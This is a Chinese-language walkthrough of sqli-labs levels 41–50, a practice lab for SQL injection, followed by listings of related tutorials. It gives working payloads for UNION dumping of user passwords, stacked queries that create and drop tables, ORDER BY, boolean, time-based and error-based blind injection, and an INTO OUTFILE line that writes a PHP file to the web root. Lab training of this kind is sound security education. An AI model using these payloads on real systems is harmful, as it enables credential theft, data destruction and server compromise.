第四十一关

这关没有闭合符而且不报错,只能是否有回显来判断正误

爆表名:

?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆内容:

?id=0 union select 1,2,group_concat(password) from users --+

同样也可以堆叠注入

?id=1;create table test like emails;--+

第四十二关

这关又是熟悉的post,思路也是一样,但是这关的username输入有mysqli_real_escape_string函数管着,所以注入点在password

添加表tesst

login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login



删除表tesst

login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login

第四十三关

这关就是闭合换成了'),其他一样



添加表tesst

login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login

第四十四关

和四十二关一样,就是没有错误回显了

删除表tesst

login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login

第四十五关

和四十三关闭合一样,然后没回显

创建test45表

login_user=admin1&login_password=admin1';create table test45(id INT,name varchar(100)) %23; &mysubmit=Login

第四十六关

这关又有新东西,利用order by来注入

后台语句是这样的

$sql = "SELECT * FROM users ORDER BY $id";

?sort=1 desc
?sort=1 asc

显示结果不同,说明可以注入

desc是 descend 降序意思

asc 是 ascend 升序意思

可利用 order by 后的一些参数进行注入

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

?sort=right(version(),1)
?sort=left(version(),1)



没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。

此处可以直接构造 ?sort= 后面的一个参数

1.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)

?sort=rand(true)
?sort=rand(false)





结果是不一样的

例子

?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)

对应上面的true和false,查看结果





可以进行布尔盲注

2.利用 and,例如 ?sort=1 and (加 sql 语句)。

同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

例子

报错注入

?sort=1 and updatexml(1,concat(0x7e,database()),0) --+



时间注入

?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)

异或布尔盲注

关于异或注入看这篇文章

https://www.anquanke.com/post/id/160584

异或运算规则:

1^1=0 0^0=0 0^1=1 1^1^1=0 1^1^0=0

id ^(select(select version()) regexp '^5')

也可以程序分析参数后注入

?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+



将查询结果导出到文件

?sort=1 into outfile 'C:\\phpStudy\\WWW\\sql\\Less-46\\123.php'





3.直接添加注入语句,?sort=(select ---)

?sort=right(version(),1)

第四十七关

这关闭合变成单引号。

获得数据库版本

?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

第四十八关

这关是数字型盲注,没有报错回显。

时间注入

?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)

第四十九关

这关是字符型盲注,没有报错回显。

?sort=1'  and If(ascii(substr(database(),1,1))=116,sleep(3),0)--+

第五十关

这关还是之前的堆叠注入

创建less50表

?sort=1;create table less50 like users;--+



参考文档:

https://blog.csdn.net/Kevinhanser/article/details/81563461

sqli-labs通关教程----41~50关的更多相关文章

  1. sqli-labs通关教程----21~30关

    第二十一关 第二十一关我们正常登陆后看到,uname后面变成了一堆字母 这是经过base64编码之后的样子,所以就照葫芦画瓢,将我payload的uname后面的部分转码成base64,这里可以用正常 ...

  2. sqli-labs通关教程----31~40关

    第三十一关 这关一样,闭合变成(",简单测试,#号不能用 ?id=1") and ("1")=("1")--+ 第三十二关 这关会把我们的输 ...

  3. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  4. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  5. DVWA File Upload 通关教程

    File Upload,即文件上传.文件上传漏洞通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁 ...

  6. DVWA XSS (Reflected) 通关教程

    XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...

  7. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  8. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  9. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

随机推荐

  1. [kmp,不要过多调用strlen!!!] Codeforces 1200E Compress Words

    题目:http://codeforces.com/contest/1200/problem/E Compress Words time limit per test 1 second memory l ...

  2. java 初学者 第一阶段作业编程总结及心得体会

    0.前言 第一阶段java作业分为3次. 第一次作业是简单得一些语法和一些简单得逻辑思维,主要内容有求三角形是什么三角形的,还有就是求坐标点所在范围的,也涉及到了数字和字母的转换,总之相相当于是给ja ...

  3. gold 30 mins

  4. Codeforces 1329C - Drazil Likes Heap(堆+贪心)

    题目链接 题意 给出一个高度为 h 的大根堆, 要求弹出其中若干个数后高度变为 g, 并且前后大根堆都是满二叉树. 问新的大根堆所有数之和的最小值, 并要给出一种弹出数的操作序列(节点序号). h, ...

  5. centos7中安装redis

    http://www.open-open.com/lib/view/open1426468117367.html https://www.cnblogs.com/cndavidwang/p/64294 ...

  6. MATLAB——文件读写(1)

    1.文件打开关闭 (1)文件打开 fid=fopen(文件名,‘打开方式’)说明:其中fid用于存储文件句柄值,如果返回的句柄值大于0,则说明文件打开成功.文件名用字符串形式,表示待打开的数据文件.常 ...

  7. Flutter AbsorbPointer 与 IgnorePointer的区别

    AbsorbPointer AbsorbPointer是一种禁止用户输入的控件,比如按钮的点击.输入框的输入.ListView的滚动等,你可能说将按钮的onPressed设置为null,一样也可以实现 ...

  8. Redis 练习(二)

    需求: 为购物网站实现登录状态及浏览记录的维护 进入时检查 token 是否已登录 每次进入更新 token 最新进入时间 记录用户浏览的商品信息(最多 25 个) 定时检查 token 数量,如果超 ...

  9. 【php】错误日志处理

    一. 错误处理: a) 在写程序的过程当中,遇到错误时,你的反应?可能比较急躁,比较烦 b) 遇到错误后:一别哭,二别闹,三别上吊,四别尿……二. 你可能会遇到的错误: a) 语法错误 i. 语法错误 ...

  10. go语言goroutine

    Go语言goroutine 在别的语言里想要在一个程序中实现多任务,如python,python实现多任务可以使用多进程.多线程.携程.但多进程占用资源,多线程无法发挥多核的优势(GIL),pytho ...